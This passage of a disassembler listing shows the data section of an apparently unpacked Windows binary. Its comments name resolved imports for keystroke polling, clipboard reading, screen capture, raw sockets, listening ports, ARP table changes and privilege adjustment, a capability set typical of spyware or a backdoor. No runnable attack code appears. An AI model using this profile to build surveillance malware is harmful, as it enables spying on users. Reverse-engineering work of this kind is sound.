dword_43C9A0 dd 0 ; resolved to->WININET.HttpSendRequestA ; sub_40891C+872r ...
dword_43C9A4 dd 0 ; sub_40891C+9F8r
dword_43C9A8 dd 0 ; sub_404EC7+6Er ...
dword_43C9AC dd 0 ; resolved to->USER32.GetForegroundWindow ; sub_4021FB+63r ...
dword_43C9B0 dd 0 ; resolved to->IPHLPAPI.IcmpCreateFile ; sub_40891C+910r ...
dword_43C9B4 dd 0 dword_43C9B8 dd 0 ; resolved to->WS2_32.WSAGetLastError ; sub_401444+3Cr ...
dword_43C9BC dd 0 ; resolved to->WININET.InternetOpenA ; sub_40891C+855r
dword_43C9C0 dd 0 ; resolved to->USER32.GetWindowTextA ; sub_4021FB+78r ...
dword_43C9C4 dd 0 ; resolved to->USER32.IsWindow ; sub_40891C+1C2r
dword_43C9C8 dd 0 ; resolved to->WS2_32.getsockname ; sub_40891C+786r ...
dword_43C9CC dd 0 ; resolved to->WS2_32.connect ; sub_4036D2+5Er ...
dword_43C9D0 dd 0 ; resolved to->WS2_32.WSAIoctl ; sub_40891C+549w ...
dword_43C9D4 dd 0 ; sub_40891C:loc_4091F7w ...
dword_43C9D8 dd 0 ; resolved to->ADVAPI32.RegCreateKeyExA ; sub_40891C+2C6r ...
dword_43C9DC dd 0 ; resolved to->WS2_32.gethostbyaddr ; sub_40891C+681w ...
dword_43C9E0 dd 0 ; resolved to->ADVAPI32.LookupPrivilegeValueA ; sub_40891C+323r ...
dword_43C9E4 dd 0 ; resolved to->ADVAPI32.EnumServicesStatusA ; sub_40891C+3D1r ...
dword_43C9E8 dd 0 ; sub_404EC7+1A0r ...
dword_43C9EC dd 0 ; resolved to->WININET.HttpOpenRequestA ; sub_40891C+86Ar ...
dword_43C9F0 dd 0 ; resolved to->USER32.GetAsyncKeyState ; sub_40891C+206w ...
dword_43C9F4 dd 0 ; resolved to->USER32.OpenClipboard ; sub_40891C+1D2r ...
dword_43C9F8 dd 0 ; resolved to->WININET.InternetConnectA ; sub_40891C+87Ar ...
dword_43C9FC dd 0 ; resolved to->WSOCK32.recvfrom ; sub_40891C+606w ...
dword_43CA00 dd 0 ; resolved to->ADVAPI32.RegCloseKey ; sub_40891C+2BFw ...
dword_43CA04 dd 0 ; resolved to->WSOCK32.setsockopt ; sub_401444+AAr ...
dword_43CA08 dd 0 ; resolved to->ADVAPI32.OpenProcessToken ; sub_40891C+316r ...
dword_43CA0C dd 0 ; resolved to->WS2_32.select ; sub_406B84+1FCr ...
dword_43CA10 dd 0 ; resolved to->GDI32.CreateDCA ; sub_40891C+490r
dword_43CA14 dd 0 ; resolved to->USER32.GetClipboardData ; sub_40891C+1DAr ...
dword_43CA18 dd 0 ; resolved to->ADVAPI32.OpenSCManagerA ; sub_40891C+39Cr ...
dword_43CA1C dd 0 ; resolved to->DNSAPI.DnsFlushResolverCacheEntry_Adword_43CA20 dd 0 ; resolved to->WS2_32.ntohl ; sub_4010B2+1F9r ...
dword_43CA24 dd 0 ; resolved to->WS2_32.ntohs ; sub_4010B2+9Dr ...
dword_43CA28 dd 0 ; resolved to->KERNEL32.Process32First ; sub_40891C+C2r ...
dword_43CA2C dd 0 ; resolved to->GDI32.GetDeviceCaps ; sub_40891C+4ADr
dword_43CA30 dd 0 ; resolved to->USER32.FindWindowA ; sub_40891C+1BAr ...
dword_43CA34 dd 0 ; sub_413B27+72r
dword_43CA38 dd 0 ; resolved to->WS2_32.gethostname ; sub_40891C+78Er
dword_43CA3C dd 0 ; resolved to->WSOCK32.recv ; sub_4033B6+23Br ...
dword_43CA40 dd 0 ; sub_404EC7+21Dr ...
dword_43CA44 dd 0 ; resolved to->KERNEL32.CreateToolhelp32Snapshot ; sub_40891C+BAr ...
dword_43CA48 dd 0 ; resolved to->ADVAPI32.RegSetValueExA ; sub_40891C+2CEr ...
dword_43CA4C dd 0 ; resolved to->WS2_32.listen ; sub_407B36+9Cr ...
dword_43CA50 dd 0 ; resolved to->WS2_32.bind ; sub_405A96+89r ...
dword_43CA54 dd 0 dword_43CA58 dd 0 ; resolved to->WININET.InternetCloseHandle ; sub_40AD52+209r ...
dword_43CA5C dd 0 dword_43CA60 dd 0 ; sub_40891C+BB8w ...
dword_43CA64 dd 0 ; resolved to->WS2_32.inet_addr ; sub_401444+1A0r ...
dword_43CA68 dd 0 ; resolved to->GDI32.CreateDIBSection ; sub_40891C+49Dr
dword_43CA6C dd 0 ; resolved to->GDI32.BitBlt ; sub_40891C+4C5r
dword_43CA70 dd 0 ; resolved to->GDI32.CreateCompatibleDC ; sub_40891C+4A5r
dword_43CA74 dd 0 ; resolved to->WS2_32.send ; sub_4033B6+249r ...
dword_43CA78 dd 0 ; resolved to->USER32.CloseClipboard ; sub_40891C+1E2r ...
dword_43CA7C dd 0 ; sub_40891C+A28r ...
dword_43CA80 dd 0 ; resolved to->USER32.SendMessageA ; sub_40891C+1ADr ...
dword_43CA84 dd 0 ; resolved to->KERNEL32.GetDriveTypeA ; sub_40891C+E2r ...
dword_43CA88 dd 0 ; resolved to->WS2_32.sendto ; sub_401444+2C8r ...
dword_43CA8C dd 0 ; sub_40891C+B30r
dword_43CA90 dd 0 ; resolved to->ADVAPI32.AdjustTokenPrivileges ; sub_413BE5+55r
dword_43CA94 dd 0 ; resolved to->ADVAPI32.RegOpenKeyExA ; sub_40891C+27Ew ...
dword_43CA98 dd 0 ; resolved to->SHELL32.SHChangeNotifydword_43CA9C dd 0 ; resolved to->IPHLPAPI.DeleteIpNetEntry ; sub_409FB2+8Fr
dword_43CAA0 dd 0 ; resolved to->IPHLPAPI.GetIpNetTable ; sub_40891C+AB7r ...
dword_43CAA4 dd 0 ; resolved to->WS2_32.socket ; sub_401BD4+55r ...
dword_43CAA8 dd 0 ; resolved to->WS2_32.gethostbyname ; sub_40891C+674w ...
dword_43CAAC dd 0 ; sub_40891C+BC5w ...
dword_43CAB0 dd 0 ; resolved to->WS2_32.inet_ntoa ; sub_406B84+250r ...
dword_43CAB4 dd 0 ; sub_40891C+A00r ...
dword_43CAB8 dd 0 ; resolved to->WS2_32.accept ; sub_407B36+B3r ...
dword_43CABC dd 0 ; resolved to->WS2_32.closesocket ; sub_401444+2F4r ...
dword_43CAC0 dd 0 ; resolved to->WS2_32.ioctlsocket ; sub_405A96+376r ...
dword_43CAC4 dd 0 ; sub_402FCD+C8r ...
dword_43CAC8 dd 0 ; resolved to->WS2_32.WSASocketA ; sub_4018CB+4Fr ...
dword_43CACC dd 0 ; sub_40891C+B1Br
dword_43CAD0 dd 0 ; resolved to->KERNEL32.SetErrorMode ; sub_40891C+ADr ...
dword_43CAD4 dd 0 ; resolved to->USER32.DestroyWindow ; sub_40891C+1CAr
dword_43CAD8 dd 0 ; resolved to->IPHLPAPI.IcmpCloseHandle ; sub_40891C+91Dr ...
dword_43CADC dd 0 ; resolved to->KERNEL32.SearchPathA ; sub_40891C+EAr ...
dword_43CAE0 dd 0 ; sub_40891C+12Bw ...
dword_43CAE4 dd 0 ; sub_4095A9+1Cr
dword_43CAE8 dd 0 ; sub_40891C:loc_408B71w ...
dword_43CAEC dd 0 ; sub_4095A9+50r
dword_43CAF0 dd 0 ; sub_40891C:loc_408C4Bw ...
dword_43CAF4 dd 0 ; sub_4095A9+84r
dword_43CAF8 dd 0 ; sub_4095A9:loc_409659r
dword_43CAFC dd 0 ; sub_4095A9+B8r
dword_43CB00 dd 0 ; sub_4095A9:loc_40968Dr
dword_43CB04 dd 0 ; sub_4095A9+ECr
dword_43CB08 dd 0 ; sub_40891C+8D1w ...
dword_43CB0C dd 0 ; sub_4095A9+120r
dword_43CB10 dd 0 ; sub_4095A9:loc_4096F5r ...
dword_43CB14 dd 0 ; sub_4095A9+154r
dword_43CB18 dd 0 ; sub_4095A9:loc_409729r ...
dword_43CB1C dd 0 ; sub_4095A9+188r
dword_43CB20 dd 0 ; sub_4095A9:loc_40975Dr
dword_43CB24 dd 0 ; sub_4095A9+1BCr
dword_43CB28 dd 0 ; sub_4095A9:loc_409791r
dword_43CB2C dd 0 ; sub_4095A9+1F0r
dword_43CB30 dd 0 ; sub_4095A9:loc_4097C5r
dword_43CB34 dd 0 ; sub_4095A9+224r
dword_43CB38 dd 0 ; sub_4095A9:loc_4097F9r
dword_43CB3C dd 0 ; sub_4095A9+258r
dword_43CB40 dd 0 ; sub_4095A9:loc_40982Dr
dword_43CB44 dd 0 ; sub_4095A9+28Cr
dword_43CB48 dd 0 ; sub_4095A9:loc_409861r
dword_43CB4C dd 0 ; sub_4095A9+2C0r
dword_43CB50 dd 80h dup(0) dword_43CD50 dd 4 dup(0) dword_43CD60 dd 0 ; sub_40A5C5+54r ...
dword_43CD64 dd 0 ; sub_40A5C5+37r ...
dword_43CD68 dd 0 ; sub_40A71A+83o
dword_43CD6C dd 0 ; sub_40A71A+11Bw
dword_43CD70 dd 0Dh dup(0) ; sub_40A71A:loc_40A857o
dword_43CDA4 dd 0 ; sub_40A5C5+ECr ...
dword_43CDA8 dd 0Eh dup(0) dword_43CDE0 dd 1000h dup(0) ; sub_40B118o ...
dword_440DE0 dd 0Dh dup(0) ; sub_40B118+Eo ...
dword_440E14 dd 0 dword_440E18 dd 0 ; sub_40AF80+44r ...
dd 5 dup(0)
dword_440E30 dd 0 ; sub_40CD3A+B6Br
dd 2D9h dup(0)
dword_441998 dd 0 ; sub_40AF80+2Do ...
dd 7Fh dup(0)
dword_441B98 dd 0 ; sub_414F15+3Aw ...
dword_441B9C dd 0 ; sub_4076CB+6Dr ...
dword_441BA0 dd 0 ; sub_414DDA+45w ...
dword_441BA4 dd 0 ; sub_405A96+7Ew ...
dword_441BA8 dd 0 ; sub_407EA5+53r ...
dword_441BAC dd 0 ; sub_4071B6+11Fw ...
byte_441BB0 db 0 ; DATA XREF: sub_40CA58+91o
; sub_40CD3A+318Dr ...
align 4
dd 0EE7h dup(0)
dword_445750 dd 95CEh dup(0) dword_46AE88 dd 0 ; sub_40C574+47w ...
align 10h
dword_46AE90 dd 0 dword_46AE94 dd 20h dup(0) ; sub_40C574+447o ...
dword_46AF14 dd 10h dup(0) ; sub_40CD3A+8D4o
dword_46AF54 dd 24h dup(0) dword_46AFE4 dd 0 ; sub_40C574+45Ew ...
dword_46AFE8 dd 0 dd 2 dup(0)
dword_46AFF4 dd 0 dword_46AFF8 dd 0 ; sub_40CD3A+268r
byte_46AFFC db 0 ; DATA XREF: sub_40CBBE+28r
; sub_40CBBE+30o
byte_46AFFD db 3 dup(0) ; DATA XREF: sub_40282F+9Fo
dword_46B000 dd 0 ; sub_40C574+412r ...
dword_46B004 dd 0 ; sub_40CD3A+878r
dword_46B008 dd 18h dup(0) ; sub_412D95+131o ...
dword_46B068 dd 8 dup(0) ; sub_413B27+A5o
dword_46B088 dd 0 ; sub_41503B+19o
dword_46B08C dd 77h dup(0) dword_46B268 dd 0 ; sub_413112+4Dr ...
align 10h
dword_46B270 dd 18h dup(0) ; sub_4139F3+12Do
dword_46B2D0 dd 80h dup(0) ; sub_413053+7Do ...
byte_46B4D0 db 0 ; DATA XREF: sub_413112+29r
; sub_413112+34w
align 8
dword_46B4D8 dd 80h dup(0) ; sub_413369+88o ...
dword_46B6D8 dd 80h dup(0) ; sub_412C6C+50o ...
dword_46B8D8 dd 80h dup(0) byte_46BAD8 db 0 ; DATA XREF: sub_414CD9+64r
; sub_414CD9+92w
align 10h
dword_46BAE0 dd 0 align 8
dword_46BAE8 dd 0 ; sub_41697B+A4w
align 10h
word_46BAF0 dw 0 ; DATA XREF: sub_41697B+55r
; sub_41697B+9Ao
word_46BAF2 dw 0 ; DATA XREF: sub_41697B+48r
db 2 dup(0)
word_46BAF6 dw 0 ; DATA XREF: sub_41697B+3Br
word_46BAF8 dw 0 ; DATA XREF: sub_41697B+2Er
word_46BAFA dw 0 ; DATA XREF: sub_41697B+21r
align 10h
dword_46BB00 dd 0 ; sub_416B3F+91w
dword_46BB04 dd 0 ; sub_416CDE:loc_416D5Aw ...
dword_46BB08 dd 0 ; sub_4185EB:loc_418685w ...
dword_46BB0C dd 0 dword_46BB10 dd 0A28h dword_46BB14 dd 501h dword_46BB18 dd 5 dword_46BB1C dd 1 dword_46BB20 dd 1 ; sub_41D170+91w
dword_46BB24 dd 8A1400h ; sub_40C574+307r ...
dd 0
dword_46BB2C dd 8A1428h ; sub_41FCDD+9r ...
dword_46BB30 dd 0 dword_46BB34 dd 0 ; sub_4200AB+4r ...
dd 0
off_46BB3C dd offset aCM_unpackerPac ; DATA XREF: sub_41D170+2Ew
; "C:\\m_unpacker\\packed.exe"
dd 0
byte_46BB44 db 0 ; DATA XREF: sub_417869+2Dw
; sub_41DA17+5r
align 4
dword_46BB48 dd 1 dword_46BB4C dd 1 ; sub_417869+8Bw
dword_46BB50 dd 0 ; sub_41D0B7:loc_41D0C9r ...
align 8
dword_46BB58 dd 0 dword_46BB5C dd 0 dd 0
dword_46BB64 dd 0 ; sub_41737F:loc_41749Br ...
dword_46BB68 dd 0 dword_46BB6C dd 0 ; sub_419A6F+2Dw ...
dword_46BB70 dd 0 ; sub_41A9A5+1Ar ...
byte_46BB74 db 0 ; DATA XREF: sub_41A8A1+3r
; sub_41A8A1+98r ...
align 4
dword_46BB78 dd 0 ; sub_41AA83+21w ...
byte_46BB7C db 0 ; DATA XREF: sub_41AA83+51w
align 10h
dword_46BB80 dd 0 ; sub_41B054+3Ar ...
dword_46BB84 dd 0 ; sub_41B054+43r ...
dword_46BB88 dd 0 ; sub_41AE20+5r
dword_46BB8C dd 0 dword_46BB90 dd 1 ; sub_41C639+4Cw ...
dd 2 dup(0)
dword_46BB9C dd 0 ; sub_417033+9Dr ...
dd 3 dup(0)
dword_46BBAC dd 0 ; sub_417A19+BFr ...
dd 0
dword_46BBB4 dd 1 ; sub_41C9F6+4w ...
dword_46BBB8 dd 0 ; sub_41CEDB+46w ...
aCM_unpackerPac db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: sub_41D170:loc_41D187o
; .text:off_46BB3Co
align 4
dd 3Ah dup(0)
dword_46BCC0 dd 1 ; sub_41D3BD+23w ...
dword_46BCC4 dd 0 dword_46BCC8 dd 0 ; sub_4188A0+154w ...
dword_46BCCC dd 1 ; sub_41DA93:loc_41DAFDw
dword_46BCD0 dd 0 align 8
word_46BCD8 dw 0 ; DATA XREF: sub_41E67B+1Ao
; sub_41E67B+46r
byte_46BCDA db 0 ; DATA XREF: sub_41E67B+39r
align 4
dword_46BCDC dd 7 dup(0) dword_46BCF8 dd 0 ; sub_41E67B+5Co
dword_46BCFC dd 0 dword_46BD00 dd 0 dword_46BD04 dd 0 dword_46BD08 dd 77C2807Ch ; sub_41E79E+38r ...
align 10h
dword_46BD10 dd 0 ; sub_41EA02+63w ...
align 8
dword_46BD18 dd 0 ; sub_41EA02+46r
dword_46BD1C dd 10h dup(0) word_46BD5C dw 0 ; DATA XREF: sub_41EC60+A8r
word_46BD5E dw 0 ; DATA XREF: sub_41EA02+54r
; sub_41EC60+DBr ...
word_46BD60 dw 0 ; DATA XREF: sub_41EC60+CAr
word_46BD62 dw 0 ; DATA XREF: sub_41EC60+D3r
; sub_41EC60:loc_41ED52r
word_46BD64 dw 0 ; DATA XREF: sub_41EC60+C0r
word_46BD66 dw 0 ; DATA XREF: sub_41EC60+B8r
word_46BD68 dw 0 ; DATA XREF: sub_41EC60+B0r
word_46BD6A dw 0 ; DATA XREF: sub_41EC60+9Er
dword_46BD6C dd 0 dword_46BD70 dd 10h dup(0) word_46BDB0 dw 0 ; DATA XREF: sub_41EC60+46r
word_46BDB2 dw 0 ; DATA XREF: sub_41EA02:loc_41EA79r
; sub_41EC60+78r ...
word_46BDB4 dw 0 ; DATA XREF: sub_41EC60+67r
word_46BDB6 dw 0 ; DATA XREF: sub_41EC60+70r
; sub_41EC60:loc_41ECE4r
word_46BDB8 dw 0 ; DATA XREF: sub_41EC60+5Dr
word_46BDBA dw 0 ; DATA XREF: sub_41EC60+55r
word_46BDBC dw 0 ; DATA XREF: sub_41EC60+4Dr
word_46BDBE dw 0 ; DATA XREF: sub_41EC60+3Er
dword_46BDC0 dd 0 dword_46BDC4 dd 0 ; sub_41EA02:loc_41EB4Er ...
dword_46BDC8 dd 0 dword_46BDCC dd 0 ; resolved to->USER32.MessageBoxA ; sub_41EF8E+2Ew ...
dword_46BDD0 dd 0 ; resolved to->USER32.GetActiveWindow ; sub_41EF8E:loc_41EFDDr
dword_46BDD4 dd 0 ; resolved to->USER32.GetLastActivePopup ; sub_41EF8E+60r
dword_46BDD8 dd 0 dword_46BDDC dd 0 ; sub_41FB6B+6Do
dword_46BDE0 dd 0 ; sub_41FB6B+44o
dword_46BDE4 dd 0 ; sub_41FB6B+37o
dword_46BDE8 dd 0 ; sub_41FB6B+51o
align 10h
dword_46BDF0 dd 0 ; sub_420119+48w ...
byte_46BDF4 db 0 ; DATA XREF: sub_404EA5r sub_404EA5+9w ...
align 4
dword_46BDF8 dd 8A27A0h ; sub_418A10+14r ...
align 10h
dword_46BE00 dd 400h dup(0) ; .text:0043AB10o
dword_46CE00 dd 200h ; sub_418769+56r ...
dd 7 dup(0)
dword_46CE20 dd 8A0650h ; sub_41C178+75r ...
dword_46CE24 dd 3Fh dup(0) dword_46CF20 dd 20h ; sub_41C251+Cr ...
dword_46CF24 dd 4E4h ; sub_41C85D+65w ...
align 10h
dword_46CF30 dd 3 dup(0) ; sub_41C85D+171o ...
dword_46CF3C dd 0 ; sub_41C85D+15Dw ...
byte_46CF40 db 0 ; DATA XREF: sub_41CA9C:loc_41CBA8w
; sub_41CA9C:loc_41CBC5w ...
align 4
dd 0Fh dup(0)
dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h
dd 77767574h, 7A7978h, 0
dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h
dd 57565554h, 5A5958h, 0
dd 83000000h, 0
dd 9A0000h, 9E009Ch, 2 dup(0)
dd 8A0000h, 0FF8E008Ch, 2 dup(0)
dd 0AA0000h, 2 dup(0)
dd 0B500h, 0BA0000h, 0
dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h
dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h
dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h
dd 9FDEDDDCh
byte_46D040 db 0 ; DATA XREF: sub_41C85D+5Co
; sub_41C85D+AFo ...
byte_46D041 db 0 ; DATA XREF: sub_4171E8+5Dr
; sub_41C85D+A0w ...
align 4
dd 0Fh dup(0)
dd 10100000h, 6 dup(10101010h), 0
dd 20200000h, 6 dup(20202020h), 2 dup(0)
dd 20h, 10000000h, 10001000h, 2 dup(0)
dd 20000000h, 20002000h, 10h, 0
dd 20000000h, 2 dup(0)
dd 200000h, 20000000h, 0
dd 10101000h, 5 dup(10101010h), 10101000h, 10101010h, 6 dup(20202020h)
dd 20202000h, 20202020h, 20h
dword_46D144 dd 0 ; sub_41C85D+12Bw ...
dword_46D148 dd 0 ; sub_41931A+5r ...
dword_46D14C dd 0 ; sub_418CE8+25Ar ...
dword_46D150 dd 0 ; sub_418CE8+311w ...
dword_46D154 dd 0 ; sub_418CE8+22Dr ...
dword_46D158 dd 0 ; sub_418CBDr ...
dword_46D15C dd 0 ; sub_418CBD+8r ...
dword_46D160 dd 0 ; sub_41737F+5Cr ...
dword_46D164 dd 8A0000h ; sub_415C9B+5Ar ...
dword_46D168 dd 1 dword_46D16C dd 142340h ; sub_41D05F+Fr ...
dword_46D170 dd 1 ; sub_41FCDDr
dword_46D174 dd 1 ; sub_41CC21+11w ...
dword_46D178 dd 8A2718h ; sub_416663:loc_4166A5r ...
dword_46D17C dd 8A2718h ; sub_416663+Cr ...
byte_46D180 db 0 ; DATA XREF: sub_4209C4+15r
; sub_4209C4+1Ew
align 1000h
_text ends
; Section 3. (virtual address 0006F000)
; Virtual size : 00001000 ( 4096.)
; Section size in file : 00000200 ( 512.)
; Offset to raw data for section: 0006F000
; Flags C0000040: Data Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read/Write
_idata2 segment para public 'DATA' use32
assume cs:_idata2
;org 46F000h
align 2000h
_idata2 ends
end start